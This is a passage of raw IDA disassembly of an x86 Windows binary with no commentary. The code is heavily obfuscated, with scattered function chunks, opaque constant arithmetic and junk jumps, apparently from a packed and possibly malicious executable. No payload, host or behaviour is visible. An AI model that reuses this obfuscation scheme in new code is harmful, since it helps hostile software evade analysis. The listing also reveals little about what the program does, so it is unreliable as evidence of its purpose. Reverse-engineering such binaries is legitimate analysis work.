loc_40D6AB:				; CODE XREF: sub_40892F:loc_406C6Dj
		cdq
		add	eax, [esp+0]
		push	offset sub_40717E
		jmp	loc_40F1C7
; END OF FUNCTION CHUNK	FOR sub_40892F
; ---------------------------------------------------------------------------


loc_40D6B9:				; CODE XREF: _837l4vi2:0040ABBDj
		jnz	loc_40ADDE
		jmp	loc_408B25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_40D6C4:				; CODE XREF: sub_40833D:loc_40A144j
		jnz	loc_405B0F
		jmp	loc_410FB2
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------


loc_40D6CF:				; CODE XREF: _837l4vi2:loc_40AD6Cj
		xchg	esi, [esp]
		jmp	sub_40E739

; =============== S U B	R O U T	I N E =======================================



sub_40D6D7	proc near		; CODE XREF: _837l4vi2:00407F9Ej
					; sub_406327+6865p

; FUNCTION CHUNK AT 00409149 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B3E1 SIZE 0000000B BYTES

		mov	[esp+0], eax
		pop	eax
		add	eax, ebp
		add	eax, 2B2F58AEh
		push	eax
		push	400000h
		push	90208C35h
		pop	eax
		jmp	loc_409149
sub_40D6D7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C7D


loc_40D6F4:				; CODE XREF: sub_406C7D+Bj
		jbe	loc_40ACAC
		jmp	loc_40EC5D
; END OF FUNCTION CHUNK	FOR sub_406C7D
; ---------------------------------------------------------------------------


loc_40D6FF:				; CODE XREF: _837l4vi2:00410628j
		rol	esi, 12h
		xor	edi, 13EB8A4Fh


loc_40D708:				; CODE XREF: _837l4vi2:loc_410B19j
		push	offset sub_40FCC8
		jmp	loc_40CBEC

; =============== S U B	R O U T	I N E =======================================



sub_40D712	proc near		; CODE XREF: _837l4vi2:00409C1Dp
		xchg	eax, [esp+0]
sub_40D712	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4104E3


loc_40D715:				; CODE XREF: sub_4104E3:loc_405ED5j
		mov	eax, [esp+8+var_8]
		call	sub_40E09D


loc_40D71D:				; CODE XREF: _837l4vi2:loc_40CA25j
		mov	eax, [ebp-80Ch]
		push	eax
		call	sub_408CD1
; END OF FUNCTION CHUNK	FOR sub_4104E3
; START	OF FUNCTION CHUNK FOR sub_40DF4A


loc_40D729:				; CODE XREF: sub_40E3C8-7FD8j
					; sub_40E3C8-7AB1j ...
		mov	esp, ebp
		mov	ebp, offset nullsub_6
		jmp	loc_40FF7F
; END OF FUNCTION CHUNK	FOR sub_40DF4A

; =============== S U B	R O U T	I N E =======================================



sub_40D735	proc near		; CODE XREF: sub_40833D:loc_40622Bp
					; _837l4vi2:0040D582j

; FUNCTION CHUNK AT 0040503B SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0040515B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004051D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004051DD SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0040542A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00405C2B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00405D9D SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00405E66 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040623A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00406341 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004063FB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004064C0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040666B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406A17 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00407334 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00407FBC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00408219 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00408327 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040838B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00408426 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004085E5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00408A5B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408D03 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 004090CA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040925B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00409444 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004095B3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004097BE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00409A6A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00409D42 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00409DE6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00409F12 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040A21C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040A3AE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A969 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040ACDC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040AD17 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040AECA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B749 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040C573 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040C580 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CD6D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040D050 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040D164 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D185 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040D2F8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040D769 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040DC0F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040E337 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040E861 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040F448 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040F8EE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040F908 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040FAA6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040FF59 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00410010 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410455 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004104D2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0041062D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00410905 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00410937 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00410A60 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00410D0D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410D36 SIZE 00000005 BYTES

		mov	[esp+0], edi
		pop	edi
		cmp	dword ptr [ebp-4], 2
		jnz	loc_40503B
		jmp	loc_4104D2
sub_40D735	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40D748:				; CODE XREF: _837l4vi2:0040C0C3j
		jnb	loc_40C492

; =============== S U B	R O U T	I N E =======================================



sub_40D74E	proc near		; CODE XREF: sub_4063AE+3p

; FUNCTION CHUNK AT 0040519A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00405E08 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040693D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00406AB3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00408902 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C8A3 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0040FB49 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410A9D SIZE 00000005 BYTES

		mov	[esp+0], ebx
		pop	ebx
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_40519A
sub_40D74E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DC3E


loc_40D75B:				; CODE XREF: sub_40DC3E-D4j
		xchg	ebx, ebp
		jmp	loc_40F30D
; END OF FUNCTION CHUNK	FOR sub_40DC3E
; ---------------------------------------------------------------------------
		xchg	ebp, esi
		jmp	loc_4103EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40D769:				; CODE XREF: sub_40D735-6D18j
		sub	ebp, 241CE13Eh
		test	ebp, eax
		jmp	loc_40623A
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_40D776:				; CODE XREF: sub_4078C8+3C3Ej
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		push	offset loc_405B9D
		jmp	nullsub_151
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A312


loc_40D786:				; CODE XREF: sub_40A312+Dj
		push	eax
		cmp	dword ptr [ebp-14h], 6
		setz	al
		call	sub_40A38D
; END OF FUNCTION CHUNK	FOR sub_40A312
; START	OF FUNCTION CHUNK FOR sub_409A88


loc_40D793:				; CODE XREF: sub_409A88+4711j
		jmp	loc_40E9E7
; END OF FUNCTION CHUNK	FOR sub_409A88

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D798	proc near		; CODE XREF: sub_40F9EDp
		xchg	ebp, [esp+0]
		mov	ebp, [esp+0]
		mov	ebp, esp
		xchg	ecx, esi
		push	esi
		push	offset loc_40D457
		jmp	nullsub_60
sub_40D798	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40D7AD:				; CODE XREF: sub_40966E:loc_40A494j
					; sub_40966E+E3Bj
		add	ecx, 0AF83180Eh
		push	offset sub_40600B
		jmp	nullsub_169
; END OF FUNCTION CHUNK	FOR sub_40966E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_40D7BE:				; CODE XREF: sub_4108AF:loc_40B47Bj
		push	eax
		call	sub_40F642
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E84F
		jmp	loc_40D800
; END OF FUNCTION CHUNK	FOR sub_4108AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CEB5


loc_40D7D2:				; CODE XREF: sub_4085D7+2EB9j
					; sub_408EAA+3099j ...
		push	94E2A2C2h
		pop	eax
		sub	eax, 3A6719CCh
		rol	eax, 5
		jmp	loc_408417
; END OF FUNCTION CHUNK	FOR sub_40CEB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410E1F


loc_40D7E6:				; CODE XREF: sub_410E1F:loc_40D8C8j
		rol	eax, 7
; END OF FUNCTION CHUNK	FOR sub_410E1F
; START	OF FUNCTION CHUNK FOR sub_405F85


loc_40D7E9:				; CODE XREF: sub_405F85:loc_405F8Dj
		mov	ds:dword_4106A0, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_405F85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4066CB


loc_40D7F0:				; CODE XREF: sub_4066CB+4556j
		ror	eax, 7
		push	eax
; END OF FUNCTION CHUNK	FOR sub_4066CB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_203. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40D7F5	proc near		; CODE XREF: _837l4vi2:0040ACB7j
					; sub_407E89+2EA5p

; FUNCTION CHUNK AT 004077AC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004082A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004090A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040944F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00409B83 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A211 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040B308 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0040B53B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040CE87 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040E24A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040E52A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0041038F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00410EF6 SIZE 00000005 BYTES

		call	sub_40F058


loc_40D7FA:				; CODE XREF: sub_406CB3-1826j
		jz	loc_40E52A


loc_40D800:				; CODE XREF: sub_4108AF-30E2j
		jmp	loc_41038F
sub_40D7F5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407A63


loc_40D805:				; CODE XREF: sub_407A63+1j
		jmp	loc_4088DF
; END OF FUNCTION CHUNK	FOR sub_407A63
; ---------------------------------------------------------------------------
		test	edi, 0C620256Bh
		jmp	loc_410B93
; ---------------------------------------------------------------------------


loc_40D815:				; CODE XREF: _837l4vi2:0040E788j
		jz	loc_40F5A9
		jmp	loc_40C38B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A485


loc_40D820:				; CODE XREF: sub_40A485-2F51j
		add	ebx, esi


loc_40D822:				; CODE XREF: sub_40D735:loc_409444j
		push	offset loc_40B032
		jmp	nullsub_61
; END OF FUNCTION CHUNK	FOR sub_40A485
; ---------------------------------------------------------------------------
		shl	ebp, 12h
		jmp	loc_4078C7
; ---------------------------------------------------------------------------


loc_40D834:				; CODE XREF: _837l4vi2:loc_409B98j
		mov	dword ptr [ebp-8], 1
; START	OF FUNCTION CHUNK FOR sub_40B859


loc_40D83B:				; CODE XREF: sub_40B859-610Cj
					; sub_407FEA:loc_409203j
		mov	eax, [ebp-8]
		mov	esp, ebp
		xchg	ebx, [esp+0]
		mov	ebp, ebx
		pop	ebx
		retn	8
; END OF FUNCTION CHUNK	FOR sub_40B859
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4105F8


loc_40D849:				; CODE XREF: sub_4105F8-4CFCj
		jmp	sub_40E739
; END OF FUNCTION CHUNK	FOR sub_4105F8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D84E	proc near		; CODE XREF: sub_405CBC+5F1p
					; sub_408055+Cp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00407CE7 SIZE 00000008 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jmp	loc_407CE7
sub_40D84E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D85F	proc near		; CODE XREF: _837l4vi2:loc_40E9A5p

var_C		= dword	ptr -0Ch
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00410982 SIZE 00000018 BYTES

		mov	[esp+0], ebp
		mov	ebp, esp
		add	esp, 0FFFFFD38h
		lea	eax, [ebp+var_C]
		push	eax
		jmp	loc_410982
sub_40D85F	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40D874:				; CODE XREF: _837l4vi2:0040A87Aj
		jmp	loc_40D9C9
; ---------------------------------------------------------------------------


loc_40D879:				; CODE XREF: _837l4vi2:00406785j
		jbe	loc_40D267
		not	esi
		mov	ebp, edx
		sub	ebx, edi
; START	OF FUNCTION CHUNK FOR sub_40A58E


loc_40D885:				; CODE XREF: _837l4vi2:00407F3Ej
					; sub_40A58E-25DEj ...
		mov	eax, 6F7h
		call	sub_40A222
		jnz	loc_40C653
		add	eax, 7D0h
		jmp	loc_40FEBF
; END OF FUNCTION CHUNK	FOR sub_40A58E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BEFD


loc_40D89F:				; CODE XREF: sub_40BEFD+6j
					; _837l4vi2:0040FB1Dj
		mov	ds:dword_406524, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40BEFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409B39


loc_40D8A6:				; CODE XREF: sub_409B39+Aj
		jmp	loc_407741
; END OF FUNCTION CHUNK	FOR sub_409B39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE62


loc_40D8AB:				; CODE XREF: sub_40AE62+6j
					; sub_40B8AE+8j
		ror	eax, 0Dh
		push	eax
		call	sub_40B99D
		retn
; END OF FUNCTION CHUNK	FOR sub_40AE62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_40D8B5:				; CODE XREF: sub_4065B8+6F6Cj
		test	al, al
		jz	loc_4071B6
		jmp	loc_40D410
; END OF FUNCTION CHUNK	FOR sub_4065B8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_208. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A58E


loc_40D8C3:				; CODE XREF: sub_40A58E+Aj
		jmp	loc_407FA3
; END OF FUNCTION CHUNK	FOR sub_40A58E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410E1F


loc_40D8C8:				; CODE XREF: sub_410E1F-8B9Ej
		jmp	loc_40D7E6
; END OF FUNCTION CHUNK	FOR sub_410E1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409E97


loc_40D8CD:				; CODE XREF: sub_409E97+9j
		push	ecx
		cmp	ds:dword_41001C, 0
		jnz	loc_408A6A
		call	nullsub_1
		call	sub_40B088
		jmp	loc_40E372
; END OF FUNCTION CHUNK	FOR sub_409E97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_40D8EA:				; CODE XREF: sub_407AA4:loc_409489j
		cmp	ds:dword_406B54, 0
		jz	loc_40F0B6
		mov	eax, ds:dword_406B54
		mov	eax, [eax]
		mov	ds:dword_406B60, eax
		jmp	loc_40A78F
; END OF FUNCTION CHUNK	FOR sub_407AA4

; =============== S U B	R O U T	I N E =======================================



sub_40D908	proc near		; CODE XREF: sub_4108AF-77CEp
		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		push	offset loc_406BD8
		jmp	nullsub_62
sub_40D908	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EED8


loc_40D918:				; CODE XREF: sub_40EED8+6j
		sbb	eax, 0D6036CD3h
		ror	edx, 11h
		push	offset sub_4087FF
		jmp	nullsub_204
; END OF FUNCTION CHUNK	FOR sub_40EED8

; =============== S U B	R O U T	I N E =======================================



sub_40D92B	proc near		; CODE XREF: sub_405950+12p
					; sub_410A22:loc_406C63j ...

; FUNCTION CHUNK AT 00409849 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F1A3 SIZE 0000000A BYTES

		jz	sub_40A8ED
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], eax
		call	sub_40A1E6
		call	sub_40CA1B
		jmp	loc_409849
sub_40D92B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B3A7


loc_40D947:				; CODE XREF: sub_40B3A7:loc_40A589j
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_40ABAC
		or	eax, eax
		jnz	loc_40C55B
		jmp	loc_40561F
; END OF FUNCTION CHUNK	FOR sub_40B3A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4072E4


loc_40D95D:				; CODE XREF: sub_4072E4+2B2Fj
		popf
		xchg	esi, [esp+0Ch+var_C]
		lea	eax, [ebp-400h]
		push	ecx
		mov	ecx, eax


loc_40D96A:				; CODE XREF: _837l4vi2:loc_40A3B9j
		xchg	ecx, [esp+10h+var_10]
		call	sub_4085A2
		jmp	loc_405195
; END OF FUNCTION CHUNK	FOR sub_4072E4

; =============== S U B	R O U T	I N E =======================================



sub_40D977	proc near		; CODE XREF: sub_40A050:loc_4089EDj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004051D8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00405311 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004059AE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408D41 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00408DB0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00409021 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040A425 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040A974 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040AD5F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E689 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040FFA7 SIZE 00000005 BYTES

		push	ebx
		push	4A505F77h


loc_40D97D:				; CODE XREF: _837l4vi2:loc_40EE87j
		pop	ebx
		sub	ebx, 1E3FB39Bh
		cmp	ebx, 0B18B41B7h
		jmp	loc_40AD5F
sub_40D977	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40D98F:				; CODE XREF: sub_40926F+21j
		call	sub_40C720


loc_40D994:				; CODE XREF: sub_4059E2+4j
		jmp	sub_40E13A
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------


loc_40D999:				; CODE XREF: _837l4vi2:00405425j
		xchg	eax, [esp]
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_40DEFC
		jmp	loc_40EFEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409127


loc_40D9AA:				; CODE XREF: sub_409127:loc_40C20Cj
		pop	esi
		xor	eax, eax
		mov	[ebp-4], eax


loc_40D9B0:				; CODE XREF: sub_409127-1496j
					; sub_409127+8C7j
		js	loc_406849
		mov	eax, ds:dword_40AB9C
		mov	edx, [ebp-4]
		mov	byte ptr [eax+edx], 0
		jmp	loc_407C87
; END OF FUNCTION CHUNK	FOR sub_409127
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407918


loc_40D9C7:				; CODE XREF: sub_407918+1704j
		neg	eax


loc_40D9C9:				; CODE XREF: _837l4vi2:loc_40D874j
		push	offset loc_40F414
		jmp	nullsub_64
; END OF FUNCTION CHUNK	FOR sub_407918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40D9D3:				; CODE XREF: sub_40966E+6E53j
		jo	loc_40E7F2
		cmp	ebp, 0EE4D76Dh
		jmp	loc_40532B
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------


loc_40D9E4:				; CODE XREF: _837l4vi2:00409E2Dj
		sub	ebp, eax

; =============== S U B	R O U T	I N E =======================================



sub_40D9E6	proc near		; CODE XREF: _837l4vi2:00409EBDp

; FUNCTION CHUNK AT 0040A778 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	eax
		push	offset sub_409FEC
		jmp	loc_40A778
sub_40D9E6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410BD3


loc_40D9F5:				; CODE XREF: sub_410BD3:loc_40AB78j
		push	0F9476680h
		pop	edx
		add	edx, 0ACAF9CC8h
		or	edx, 25E05380h
		add	edx, 5A49A89Ah
		xchg	edx, [esp-4+arg_0]
		jmp	loc_40C98F
; END OF FUNCTION CHUNK	FOR sub_410BD3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_178. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4067F8


loc_40DA16:				; CODE XREF: sub_4067F8+7CE1j
		jmp	nullsub_201
; END OF FUNCTION CHUNK	FOR sub_4067F8
; ---------------------------------------------------------------------------
		add	esp, 10h
		sbb	ebp, edx
		jmp	loc_40646B
; ---------------------------------------------------------------------------
		ja	loc_40A69F
		jns	loc_40609A
		jmp	sub_4059CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF94


loc_40DA36:				; CODE XREF: sub_40DF94:loc_40976Cj
		jnz	loc_40F638
		jmp	loc_410D7A
; END OF FUNCTION CHUNK	FOR sub_40DF94
; ---------------------------------------------------------------------------


loc_40DA41:				; CODE XREF: _837l4vi2:00408B26j
		jns	loc_40D3B8
		test	edi, 0E1A93093h
		jmp	loc_40ADD8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_222. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408A93


loc_40DA53:				; CODE XREF: sub_408A93+3EF6j
		jmp	loc_407592
; END OF FUNCTION CHUNK	FOR sub_408A93
; ---------------------------------------------------------------------------


loc_40DA58:				; CODE XREF: _837l4vi2:0040904Fj
		jmp	locret_40A2AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_40DA5D:				; CODE XREF: sub_4065B8+BFFj
		jmp	loc_405713
; END OF FUNCTION CHUNK	FOR sub_4065B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D80


loc_40DA62:				; CODE XREF: sub_409D80+Aj
		mov	esp, ebp
		call	sub_40FB7C


loc_40DA69:				; DATA XREF: sub_4068AB+3A5Do
		push	857CF2E0h
		pop	esi
		xor	esi, 0B16D4118h
		or	esi, 84D6AAD1h
		add	esi, 4B694A93h
		mov	[esi], eax
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_409D80
; ---------------------------------------------------------------------------


loc_40DA85:				; CODE XREF: _837l4vi2:00409893j
		jmp	loc_4073BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CF3C


loc_40DA8A:				; CODE XREF: sub_40CF3C-249Bj
		add	eax, 309B178Bh
		xor	eax, 0F152E42Dh
		call	sub_4064E6


loc_40DA9B:				; CODE XREF: _837l4vi2:00410519j
		jmp	loc_40E4DE
; END OF FUNCTION CHUNK	FOR sub_40CF3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_40DAA0:				; CODE XREF: sub_40B67D+3628j
		jmp	loc_405D2F
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------


loc_40DAA5:				; CODE XREF: _837l4vi2:00407278j
		jnz	loc_40A556
		add	esi, 0B3D61B4Ah
		add	esi, eax
		jmp	loc_40A556
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D263


loc_40DAB8:				; CODE XREF: sub_40D263-367Bj
		mov	edi, 95A98988h


loc_40DABD:				; CODE XREF: sub_40D263:loc_4080BBj
		call	sub_40DAC8
		retn
; END OF FUNCTION CHUNK	FOR sub_40D263
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AB03


loc_40DAC3:				; CODE XREF: sub_40AB03+7j
		jmp	sub_40918C
; END OF FUNCTION CHUNK	FOR sub_40AB03

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAC8	proc near		; CODE XREF: sub_40D263:loc_40DABDp
		push	ebp
		mov	ebp, esp
		push	ecx
		push	80000000h
		push	0
		jmp	sub_40A1CD
sub_40DAC8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DE68


loc_40DAD8:				; CODE XREF: sub_40DE68:loc_409B2Fj
		movzx	eax, byte ptr [eax]
		call	sub_40AEAE
; END OF FUNCTION CHUNK	FOR sub_40DE68
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40DAE1:				; CODE XREF: _837l4vi2:0041072Aj
		add	ebp, edx

; =============== S U B	R O U T	I N E =======================================



sub_40DAE3	proc near		; CODE XREF: sub_40966E-1367p
		mov	[esp+0], ecx
		pop	ecx
		jz	loc_410328
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_4091CD

locret_40DAF6:				; CODE XREF: sub_408BA9:loc_40B13Fj
		retn
sub_40DAE3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E294


loc_40DAF7:				; CODE XREF: sub_40E294+291j
		jmp	loc_40A860
; END OF FUNCTION CHUNK	FOR sub_40E294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406327


loc_40DAFC:				; CODE XREF: sub_406327:loc_40F9FCj
		lea	eax, [ebp-24h]
		push	eax
		push	40h
		push	0DA0FFB61h
		pop	eax
		jmp	loc_4102EA
; END OF FUNCTION CHUNK	FOR sub_406327
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_163. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40DB0E:				; CODE XREF: sub_40926F+1D4Dj
		jmp	loc_40AC83
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------
		or	ebp, esi
		jmp	sub_40DD8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405FD8


loc_40DB1A:				; CODE XREF: sub_405FD8+Cj
		mov	al, [ecx]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
